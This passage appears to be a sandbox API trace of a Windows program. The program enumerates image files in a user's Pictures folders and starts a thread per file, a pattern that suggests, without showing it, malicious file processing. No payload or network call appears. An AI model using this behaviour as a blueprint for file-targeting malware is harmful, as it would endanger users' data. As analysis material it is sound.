lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\*", lpFindFileData=0x9bd6c0 | out: lpFindFileData=0x9bd6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97faf290, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x674bc0c0, ftLastAccessTime.dwHighDateTime=0x1d4d435, ftLastWriteTime.dwLowDateTime=0x674bc0c0, ftLastWriteTime.dwHighDateTime=0x1d4d435, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a70 [0143.591] wcscmp (_String1=".", _String2=".") returned 0 [0143.591] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9bd6c0 | out: lpFindFileData=0x9bd6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97faf290, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x674bc0c0, ftLastAccessTime.dwHighDateTime=0x1d4d435, ftLastWriteTime.dwLowDateTime=0x674bc0c0, ftLastWriteTime.dwHighDateTime=0x1d4d435, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.591] wcscmp (_String1="..", _String2=".") returned 1 [0143.591] wcscmp (_String1="..", _String2="..") returned 0 [0143.591] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9bd6c0 | out: lpFindFileData=0x9bd6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28370c00, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0xe6ca1750, ftLastAccessTime.dwHighDateTime=0x1d4c54b, ftLastWriteTime.dwLowDateTime=0xe6ca1750, ftLastWriteTime.dwHighDateTime=0x1d4c54b, nFileSizeHigh=0x0, nFileSizeLow=0x10be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iUAoP5uoFI2.png", cAlternateFileName="IUAOP5~1.PNG")) returned 1 [0143.592] wcscmp (_String1="iUAoP5uoFI2.png", _String2=".") returned 1 [0143.592] wcscmp (_String1="iUAoP5uoFI2.png", _String2="..") returned 1 [0143.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e81c8 [0143.592] wcscpy (in: _Dest=0x8e81c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" [0143.592] wcscat (in: _Dest=0x8e81c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\" [0143.592] wcscat (in: _Dest=0x8e81c8, _Source="iUAoP5uoFI2.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\iUAoP5uoFI2.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\iUAoP5uoFI2.png" [0146.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e81c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c [0146.007] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9bd6c0 | out: lpFindFileData=0x9bd6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92688e10, ftCreationTime.dwHighDateTime=0x1d4d1d2, ftLastAccessTime.dwLowDateTime=0x856ad290, ftLastAccessTime.dwHighDateTime=0x1d4cf2f, ftLastWriteTime.dwLowDateTime=0x856ad290, ftLastWriteTime.dwHighDateTime=0x1d4cf2f, nFileSizeHigh=0x0, nFileSizeLow=0xef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="jIcsukz.bmp", cAlternateFileName="")) returned 1 [0146.007] wcscmp (_String1="jIcsukz.bmp", _String2=".") returned 1 [0146.007] wcscmp (_String1="jIcsukz.bmp", _String2="..") returned 1 [0146.007] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7df0 [0146.007] wcscpy (in: _Dest=0x8f7df0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" [0146.007] wcscat (in: _Dest=0x8f7df0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\" [0146.007] wcscat (in: _Dest=0x8f7df0, _Source="jIcsukz.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\jIcsukz.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\jIcsukz.bmp" [0146.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x107c [0146.009] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9bd6c0 | out: lpFindFileData=0x9bd6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92688e10, ftCreationTime.dwHighDateTime=0x1d4d1d2, ftLastAccessTime.dwLowDateTime=0x856ad290, ftLastAccessTime.dwHighDateTime=0x1d4cf2f, ftLastWriteTime.dwLowDateTime=0x856ad290, ftLastWriteTime.dwHighDateTime=0x1d4cf2f, nFileSizeHigh=0x0, nFileSizeLow=0xef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="jIcsukz.bmp", cAlternateFileName="")) returned 0 [0146.009] FindClose (in: hFindFile=0x942a70 | out: hFindFile=0x942a70) returned 1 [0146.009] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd6c0) returned 1 [0146.009] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d0b8) returned 1 [0146.009] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f12f8) returned 1 Thread: id = 2225 os_tid = 0xf4c [0143.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99db08 [0143.592] wcscpy (in: _Dest=0x99db08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0143.592] wcscat (in: _Dest=0x99db08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0143.592] wcscat (in: _Dest=0x99db08, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\*" [0143.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bd928 [0143.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\*", lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f08740, ftCreationTime.dwHighDateTime=0x1d4cb33, ftLastAccessTime.dwLowDateTime=0x1c8232a0, ftLastAccessTime.dwHighDateTime=0x1d4ceee, ftLastWriteTime.dwLowDateTime=0x1c8232a0, ftLastWriteTime.dwHighDateTime=0x1d4ceee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942c30 [0143.972] wcscmp (_String1=".", _String2=".") returned 0 [0143.972] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f08740, ftCreationTime.dwHighDateTime=0x1d4cb33, ftLastAccessTime.dwLowDateTime=0x1c8232a0, ftLastAccessTime.dwHighDateTime=0x1d4ceee, ftLastWriteTime.dwLowDateTime=0x1c8232a0, ftLastWriteTime.dwHighDateTime=0x1d4ceee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.972] wcscmp (_String1="..", _String2=".") returned 1 [0143.972] wcscmp (_String1="..", _String2="..") returned 0 [0143.972] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97a991e0, ftCreationTime.dwHighDateTime=0x1d4ca1a, ftLastAccessTime.dwLowDateTime=0xcde75560, ftLastAccessTime.dwHighDateTime=0x1d4ce81, ftLastWriteTime.dwLowDateTime=0xcde75560, ftLastWriteTime.dwHighDateTime=0x1d4ce81, nFileSizeHigh=0x0, nFileSizeLow=0x18f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="- eVRcwm7Ovm.png", cAlternateFileName="-EVRCW~1.PNG")) returned 1 [0143.972] wcscmp (_String1="- eVRcwm7Ovm.png", _String2=".") returned -1 [0143.972] wcscmp (_String1="- eVRcwm7Ovm.png", _String2="..") returned -1 [0143.972] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0x9ad2a8 [0143.973] wcscpy (in: _Dest=0x9ad2a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0143.973] wcscat (in: _Dest=0x9ad2a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0143.973] wcscat (in: _Dest=0x9ad2a8, _Source="- eVRcwm7Ovm.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\- eVRcwm7Ovm.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\- eVRcwm7Ovm.png" [0147.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c [0147.907] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b388e0, ftCreationTime.dwHighDateTime=0x1d4cf3a, ftLastAccessTime.dwLowDateTime=0x4bbaa750, ftLastAccessTime.dwHighDateTime=0x1d4ce7b, ftLastWriteTime.dwLowDateTime=0x4bbaa750, ftLastWriteTime.dwHighDateTime=0x1d4ce7b, nFileSizeHigh=0x0, nFileSizeLow=0x53c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GPhO-gWQXS6R5.png", cAlternateFileName="-GPHO-~1.PNG")) returned 1 [0147.907] wcscmp (_String1="-GPhO-gWQXS6R5.png", _String2=".") returned -1 [0147.907] wcscmp (_String1="-GPhO-gWQXS6R5.png", _String2="..") returned -1 [0147.907] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935e98 [0147.907] wcscpy (in: _Dest=0x935e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.907] wcscat (in: _Dest=0x935e98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.907] wcscat (in: _Dest=0x935e98, _Source="-GPhO-gWQXS6R5.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\-GPhO-gWQXS6R5.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\-GPhO-gWQXS6R5.png" [0147.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0 [0147.908] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde74d1f0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x9e3de0a0, ftLastAccessTime.dwHighDateTime=0x1d4c8b8, ftLastWriteTime.dwLowDateTime=0x9e3de0a0, ftLastWriteTime.dwHighDateTime=0x1d4c8b8, nFileSizeHigh=0x0, nFileSizeLow=0x4f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_d.bmp", cAlternateFileName="")) returned 1 [0147.908] wcscmp (_String1="A_d.bmp", _String2=".") returned 1 [0147.908] wcscmp (_String1="A_d.bmp", _String2="..") returned 1 [0147.908] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7e68 [0147.908] wcscpy (in: _Dest=0x8e7e68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.908] wcscat (in: _Dest=0x8e7e68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.908] wcscat (in: _Dest=0x8e7e68, _Source="A_d.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\A_d.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\A_d.bmp" [0147.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4 [0147.909] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9502df00, ftCreationTime.dwHighDateTime=0x1d4c871, ftLastAccessTime.dwLowDateTime=0xcbc8d230, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xcbc8d230, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x170c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvwksA__vZ qZ-4JCpk.gif", cAlternateFileName="DVWKSA~1.GIF")) returned 1 [0147.909] wcscmp (_String1="DvwksA__vZ qZ-4JCpk.gif", _String2=".") returned 1 [0147.909] wcscmp (_String1="DvwksA__vZ qZ-4JCpk.gif", _String2="..") returned 1 [0147.909] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97b968 [0147.909] wcscpy (in: _Dest=0x97b968, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.909] wcscat (in: _Dest=0x97b968, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.909] wcscat (in: _Dest=0x97b968, _Source="DvwksA__vZ qZ-4JCpk.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\DvwksA__vZ qZ-4JCpk.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\DvwksA__vZ qZ-4JCpk.gif" [0147.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a8 [0147.910] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18cbf00, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0xa4cdd8a0, ftLastAccessTime.dwHighDateTime=0x1d4cf64, ftLastWriteTime.dwLowDateTime=0xa4cdd8a0, ftLastWriteTime.dwHighDateTime=0x1d4cf64, nFileSizeHigh=0x0, nFileSizeLow=0x15db6, dwReserved0=0x0, dwReserved1=0x0, cFileName="iLIf.gif", cAlternateFileName="")) returned 1 [0147.910] wcscmp (_String1="iLIf.gif", _String2=".") returned 1 [0147.910] wcscmp (_String1="iLIf.gif", _String2="..") returned 1 [0147.910] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0xd4c88f0 [0147.911] wcscpy (in: _Dest=0xd4c88f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.911] wcscat (in: _Dest=0xd4c88f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.911] wcscat (in: _Dest=0xd4c88f0, _Source="iLIf.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\iLIf.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\iLIf.gif" [0147.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c88f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac [0147.912] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ce51c50, ftCreationTime.dwHighDateTime=0x1d4c7f9, ftLastAccessTime.dwLowDateTime=0xc4653490, ftLastAccessTime.dwHighDateTime=0x1d4ca48, ftLastWriteTime.dwLowDateTime=0xc4653490, ftLastWriteTime.dwHighDateTime=0x1d4ca48, nFileSizeHigh=0x0, nFileSizeLow=0x12652, dwReserved0=0x0, dwReserved1=0x0, cFileName="KP7G_dTdzOoX166gndl.gif", cAlternateFileName="KP7G_D~1.GIF")) returned 1 [0147.912] wcscmp (_String1="KP7G_dTdzOoX166gndl.gif", _String2=".") returned 1 [0147.912] wcscmp (_String1="KP7G_dTdzOoX166gndl.gif", _String2="..") returned 1 [0147.912] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97b078 [0147.912] wcscpy (in: _Dest=0x97b078, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.912] wcscat (in: _Dest=0x97b078, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.912] wcscat (in: _Dest=0x97b078, _Source="KP7G_dTdzOoX166gndl.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\KP7G_dTdzOoX166gndl.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\KP7G_dTdzOoX166gndl.gif" [0147.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b0 [0147.913] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb329a30, ftCreationTime.dwHighDateTime=0x1d4cc53, ftLastAccessTime.dwLowDateTime=0xc6c209a0, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0xc6c209a0, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x18858, dwReserved0=0x0, dwReserved1=0x0, cFileName="pAU RAGzW7UW8D I9b.gif", cAlternateFileName="PAURAG~1.GIF")) returned 1 [0147.913] wcscmp (_String1="pAU RAGzW7UW8D I9b.gif", _String2=".") returned 1 [0147.913] wcscmp (_String1="pAU RAGzW7UW8D I9b.gif", _String2="..") returned 1 [0147.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97be38 [0147.913] wcscpy (in: _Dest=0x97be38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.913] wcscat (in: _Dest=0x97be38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.913] wcscat (in: _Dest=0x97be38, _Source="pAU RAGzW7UW8D I9b.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\pAU RAGzW7UW8D I9b.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\pAU RAGzW7UW8D I9b.gif" [0147.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97be38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0147.914] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306ce530, ftCreationTime.dwHighDateTime=0x1d4d295, ftLastAccessTime.dwLowDateTime=0x5ab63dc0, ftLastAccessTime.dwHighDateTime=0x1d4ca0f, ftLastWriteTime.dwLowDateTime=0x5ab63dc0, ftLastWriteTime.dwHighDateTime=0x1d4ca0f, nFileSizeHigh=0x0, nFileSizeLow=0x563a, dwReserved0=0x0, dwReserved1=0x0, cFileName="uBbUCQyM-a3vcn.gif", cAlternateFileName="UBBUCQ~1.GIF")) returned 1 [0147.914] wcscmp (_String1="uBbUCQyM-a3vcn.gif", _String2=".") returned 1 [0147.914] wcscmp (_String1="uBbUCQyM-a3vcn.gif", _String2="..") returned 1 [0147.914] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935df0 [0147.914] wcscpy (in: _Dest=0x935df0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.914] wcscat (in: _Dest=0x935df0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.914] wcscat (in: _Dest=0x935df0, _Source="uBbUCQyM-a3vcn.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\uBbUCQyM-a3vcn.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\uBbUCQyM-a3vcn.gif" [0147.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8 [0147.915] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4ab2870, ftCreationTime.dwHighDateTime=0x1d4d2d9, ftLastAccessTime.dwLowDateTime=0x92906ff0, ftLastAccessTime.dwHighDateTime=0x1d4d1a7, ftLastWriteTime.dwLowDateTime=0x92906ff0, ftLastWriteTime.dwHighDateTime=0x1d4d1a7, nFileSizeHigh=0x0, nFileSizeLow=0x13b45, dwReserved0=0x0, dwReserved1=0x0, cFileName="UHSng88Olz734Rh3qI.gif", cAlternateFileName="UHSNG8~1.GIF")) returned 1 [0147.915] wcscmp (_String1="UHSng88Olz734Rh3qI.gif", _String2=".") returned 1 [0147.916] wcscmp (_String1="UHSng88Olz734Rh3qI.gif", _String2="..") returned 1 [0147.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b498 [0147.916] wcscpy (in: _Dest=0x97b498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.916] wcscat (in: _Dest=0x97b498, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.916] wcscat (in: _Dest=0x97b498, _Source="UHSng88Olz734Rh3qI.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UHSng88Olz734Rh3qI.gif") returned="C:\\Users\\5p5NrGJn0jS 